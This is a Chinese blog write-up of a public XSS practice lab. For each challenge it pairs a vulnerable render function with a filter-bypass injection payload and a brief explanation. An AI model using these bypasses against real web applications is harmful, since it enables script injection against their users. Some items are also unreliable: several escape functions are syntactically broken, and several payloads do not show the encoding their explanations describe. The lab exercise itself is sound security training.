耗子的XSS练习

无意间看到一个XSS练习,挺好玩的,在https://xss.haozi.me/, 因为域名里有haozi,所以我就称呼它为耗子的XSS练习。

0x00

server code:

    function render (input) {
        return '<div>' + input + '</div>'
    }

input code:

    <script>alert(1)</script>

explanation: 太简单了,没啥好解释的。

0x01

server code:

    function render (input) {
        return '<textarea>' + input + '</textarea>'
    }

input code:

    </textarea><script>alert(1)</script><textarea>

explanation: 闭合标签即可

0x02

server code:

    function render (input) {
        return '<input type="name" value="' + input + '">'
    }

input code:

    "><script>alert(1)</script><a "

explanation: 闭合引号即可

0x03

server code:

    function render (input) {
        const stripBracketsRe = /[()]/g
        input = input.replace(stripBracketsRe, '')
        return input
    }

input code:

    <img src=# onerror="alert(1)">

explanation: 过滤了括号,用编码绕过

0x04

server code:

    function render (input) {
        const stripBracketsRe = /[()`]/g
        input = input.replace(stripBracketsRe, '')
        return input
    }

input code:

    <img src=# onerror="alert(1)">

explanation: 过滤了括号和`,用编码绕过

0x05

server code:

    function render (input) {
        input = input.replace(/-->/g, '?')
        return '<!-- ' + input + ' -->'
    }

input code:

    --!>
    <script>alert(1)</script>
    <!--

explanation: 过滤了常规的html注释的后半部分,反复测试后发现,在>前加!也可闭合

0x06

server code:

    function render (input) {
            input = input.replace(/auto|on.*=|>/ig, '_')
            return `<input value=1 ${input} type="text">`
    }

input code:

    onclick
    =
    "alert(1)"

explanation: 过滤了auto和on开头后边有=的属性,用换行绕过正则匹配即可,需要点击输入框才可触发

0x07

server code:

    function render (input) {
        const stripTagsRe = /<\/?[^>]+>/gi

        input = input.replace(stripTagsRe, '')
        return `<article>${input}</article>`
    }

input code:

    ???

explanation: 还没做出来

0x08

server code:

  function render (src) {
      src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
      return `
          <style>
          ${src}
          </style>
          `
  }

input code:

    </style >
    <script>alert(1);</script>
    <style>

explanation: 在/style和>之间添加一个空格绕过正则匹配即可

0x09

server code:

    function render (input) {
        let domainRe = /^https?:\/\/www\.segmentfault\.com/
        if (domainRe.test(input)) {
            return `<script src="${input}"></script>`
        }
        return 'Invalid URL'
    }

input code:

    https://www.segmentfault.com"></script>
    <script>alert(1)</script>
    <script><"

explanation: 闭合引号,自己再构建一个script即可

0x0A

server code:

    function render (input) {
        function escapeHtml(s) {
            return s.replace(/&/g, '&')
                .replace(/'/g, ''')
                .replace(/"/g, '"')
                .replace(/</g, '<')
                .replace(/>/g, '>')
                .replace(/\//g, '/')
        }

        const domainRe = /^https?:\/\/www\.segmentfault\.com/
        if (domainRe.test(input)) {
            return `<script src="${escapeHtml(input)}"></script>`
        }
        return 'Invalid URL'
    }

input code:

    https://www.segmentfault.com.af/alert.js

explanation: 对一些特殊字符进行了转义,所以无法从引号中逃逸。但在判断域名时有纰漏,https://www.segmentfault.coma、https://www.segmentfault.com.cn这样的也被认为是正确的域名。只需注册类似segmentfault.com.af (af:阿富汗,cn已经被人注册走了)这样的域名即可。当然我并没有真的去注册,.af只是个例子。

0x0B

server code:

    function render (input) {
        input = input.toUpperCase()
        return `<h1>${input}</h1>`
    }

input code:

    </h1><img src=# onerror="alert(1)"><h1>

explanation: 大写的ALERT不是有效的JavaScript函数,用编码绕过小写到大写的替换即可

0x0C

server code:

    function render (input) {
        input = input.replace(/script/ig, '')
        input = input.toUpperCase()
        return '<h1>' + input + '</h1>'
    }

input code:

    </h1><img src=# onerror="alert(1)"><h1>

explanation: 大写的ALERT不是有效的JavaScript函数,用编码绕过小写到大写的替换即可

0x0D

server code:

    function render (input) {
        input = input.replace(/[</"']/g, '')
        return `
            <script>
                // alert('${input}')
            </script>
            `
    }

input code:


alert(1); -->

explanation: 先利用换行绕过//注释,再用–>使后边的’)被忽略,否则会报引号没有闭合的错,代码不会执行

0x0E

server code:

    function render (input) {
        input = input.replace(/<([a-zA-Z])/g, '<_$1')
        input = input.toUpperCase()
        return '<h1>' + input + '</h1>'
    }

input code:

    ???

explanation: 还没做出来

0x0F

server code:

    function render (input) {
        function escapeHtml(s) {
            return s.replace(/&/g, '&')
                .replace(/'/g, ''')
                .replace(/"/g, '"')
                .replace(/</g, '<')
                .replace(/>/g, '>')
                .replace(/\//g, '/')
        }
        return `<img src onerror="console.error('${escapeHtml(input)}')">`
    }

input code:

    ');alert('1

explanation: 虽然对很多字符进行了转义,但转义的结果仍在引号中,会被再次解释,故当做没有任何转义即可

0x10

server code:

    function render (input) {
        return `
            <script>
            window.data = ${input}
            </script>
            `
    }

input code:

    1;
    alert(window.data);

explanation: 没有任何防御

0x11

server code:

    // from alf.nu
    function render (s) {
      function escapeJs (s) {
        return String(s)
                .replace(/\\/g, '\\\\')
                .replace(/'/g, '\\\'')
                .replace(/"/g, '\\"')
                .replace(/`/g, '\\`')
                .replace(/</g, '\\74')
                .replace(/>/g, '\\76')
                .replace(/\//g, '\\/')
                .replace(/\n/g, '\\n')
                .replace(/\r/g, '\\r')
                .replace(/\t/g, '\\t')
                .replace(/\f/g, '\\f')
                .replace(/\v/g, '\\v')
                // .replace(/\b/g, '\\b')
                .replace(/\0/g, '\\0')
      }
      s = escapeJs(s)
      return `
    <script>
      var url = 'javascript:console.log("${s}")'
      var a = document.createElement('a')
      a.href = url
      document.body.appendChild(a)
      a.click()
    </script>
    `
    }

input code:

    ");alert("1

explanation: 转义结果仍在引号中,会被再次解释,当做没转义即可

0x12

server code:

    // from alf.nu
    function escape (s) {
        s = s.replace(/"/g, '\\"')
        return '<script>console.log("' + s + '");</script>'
    }

input code:

    \");alert(1);//

explanation: 引号前会被加上\,自己再加一个\将\转义掉即可逃逸

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

8 + 13 =